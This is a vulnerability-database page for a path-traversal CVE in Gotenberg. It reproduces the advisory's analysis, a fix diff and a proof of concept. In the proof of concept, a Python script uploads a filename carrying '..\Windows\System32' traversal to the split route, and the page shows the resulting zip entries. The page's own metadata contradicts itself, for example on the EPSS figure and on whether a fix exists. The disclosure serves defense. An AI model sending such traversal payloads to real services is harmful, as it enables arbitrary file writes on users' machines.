CVE-2026-44829

HIGHPre-NVD 8.88.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 90% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
8.8
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 8.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:
filename := norm.NFC.String(filepath.Base(fh.Filename))
On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:
originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)
Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/[email protected]/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }
The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0 i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

Stub PDF.

printf '%%PDF-1.4\n1 0 obj<>endobj\n2 0 obj<>endobj\n3 0 obj<>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

Step 1: produce a 2-page PDF so /split returns multiple entries.

curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \ -F '[email protected];filename=a.pdf' \ -F '[email protected];filename=b.pdf'

Step 2: split, declaring the multipart filename as a Windows path-traversal payload.

python3 - <<'PY' import requests, zipfile, binascii fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf' files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')} data = {'splitMode': 'intervals', 'splitSpan': '1'} r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data) print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}') open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip') print('--- zip entries (orig_filename) ---') for info in z.infolist(): print(f' {info.orig_filename!r}')

Show raw central-directory bytes to prove backslashes are on the wire:

data = open('split.zip', 'rb').read() idx = data.find(b'PK\x01\x02') print('--- raw central-dir hex around filename ---') print(f' {binascii.hexlify(data[idx:idx+80]).decode()}') PY

docker stop gotenberg-audit

Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse

→ out\Windows\System32\evil_0.pdf

→ out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

  • Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).
  • Reachable via every multi-output Gotenberg route — /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.
  • Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" — the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

CVSS v3
8.8
EG Score
8.8(low)
EPSS
9.7%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-44829(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/gotenberg/gotenberg/v88.33.0

Data Freshness Timeline

(refreshed 3× in last 7d / 25× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:59 UTCEG score recompute
  2. 2026-07-14 14:08 UTCEG score recompute
  3. 2026-07-11 17:33 UTCEG score recompute
  4. 2026-07-08 17:25 UTCEG score recompute
  5. 2026-07-02 16:05 UTCEG score recompute
  6. 2026-07-02 04:20 UTCEG score recompute
  7. 2026-07-01 12:57 UTCEG score recompute
  8. 2026-07-01 01:32 UTCEG score recompute
  9. 2026-06-30 02:18 UTCEG score recompute
  10. 2026-06-29 14:54 UTCEG score recompute
  11. 2026-06-29 03:29 UTCEG score recompute
  12. 2026-06-28 15:58 UTCEG score recompute
  13. 2026-06-28 03:04 UTCEG score recompute
  14. 2026-06-27 15:40 UTCEG score recompute
  15. 2026-06-27 04:16 UTCEG score recompute
  16. 2026-06-26 16:17 UTCEG score recompute
  17. 2026-06-26 01:50 UTCEG score recompute
  18. 2026-06-25 14:24 UTCEG score recompute
  19. 2026-06-25 03:01 UTCEG score recompute
  20. 2026-06-24 15:24 UTCEG score recompute
  21. 2026-06-18 22:27 UTCEG score recompute
  22. 2026-06-18 10:23 UTCEG score recompute
  23. 2026-06-17 19:25 UTCEG score recompute
  24. 2026-06-17 08:02 UTCEG score recompute
  25. 2026-06-16 20:38 UTCEG score recompute
Show 36 more
  1. 2026-06-16 09:09 UTCEG score recompute
  2. 2026-06-15 21:12 UTCEG score recompute
  3. 2026-06-15 06:34 UTCEG score recompute
  4. 2026-06-14 23:18 UTCEPSS rescore
  5. 2026-06-14 19:10 UTCEG score recompute
  6. 2026-06-14 07:47 UTCEG score recompute
  7. 2026-06-13 20:23 UTCEG score recompute
  8. 2026-06-13 08:50 UTCEG score recompute
  9. 2026-06-12 23:12 UTCEPSS rescore
  10. 2026-06-12 21:26 UTCEG score recompute
  11. 2026-06-12 10:03 UTCEG score recompute
  12. 2026-06-11 22:39 UTCEG score recompute
  13. 2026-06-11 11:16 UTCEG score recompute
  14. 2026-06-10 23:53 UTCEG score recompute
  15. 2026-06-10 12:30 UTCEG score recompute
  16. 2026-06-10 01:07 UTCEG score recompute
  17. 2026-06-09 13:44 UTCEG score recompute
  18. 2026-06-09 02:21 UTCEG score recompute
  19. 2026-06-08 14:57 UTCEG score recompute
  20. 2026-06-08 03:34 UTCEG score recompute
  21. 2026-06-07 16:11 UTCEG score recompute
  22. 2026-06-07 04:48 UTCEG score recompute
  23. 2026-06-06 17:25 UTCEG score recompute
  24. 2026-06-06 06:02 UTCEG score recompute
  25. 2026-06-05 18:39 UTCEG score recompute
  26. 2026-06-05 07:16 UTCEG score recompute
  27. 2026-06-04 19:52 UTCEG score recompute
  28. 2026-06-04 08:29 UTCEG score recompute
  29. 2026-06-03 21:06 UTCEG score recompute
  30. 2026-06-03 09:43 UTCEG score recompute
  31. 2026-06-02 22:20 UTCEG score recompute
  32. 2026-06-02 10:57 UTCEG score recompute
  33. 2026-06-01 23:33 UTCEG score recompute
  34. 2026-06-01 12:10 UTCEG score recompute
  35. 2026-06-01 00:46 UTCEG score recompute
  36. 2026-05-29 17:20 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-44829?
CVE-2026-44829 is a high vulnerability published on May 29, 2026. Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename Summary filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives…
When was CVE-2026-44829 disclosed?
CVE-2026-44829 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-44829 actively exploited?
CVE-2026-44829 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 9.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-44829?
CVE-2026-44829 has a CVSS v4.0 base score of 8.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-44829?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-44829, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-44829

Explore →

Is Your Infrastructure Affected by CVE-2026-44829?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.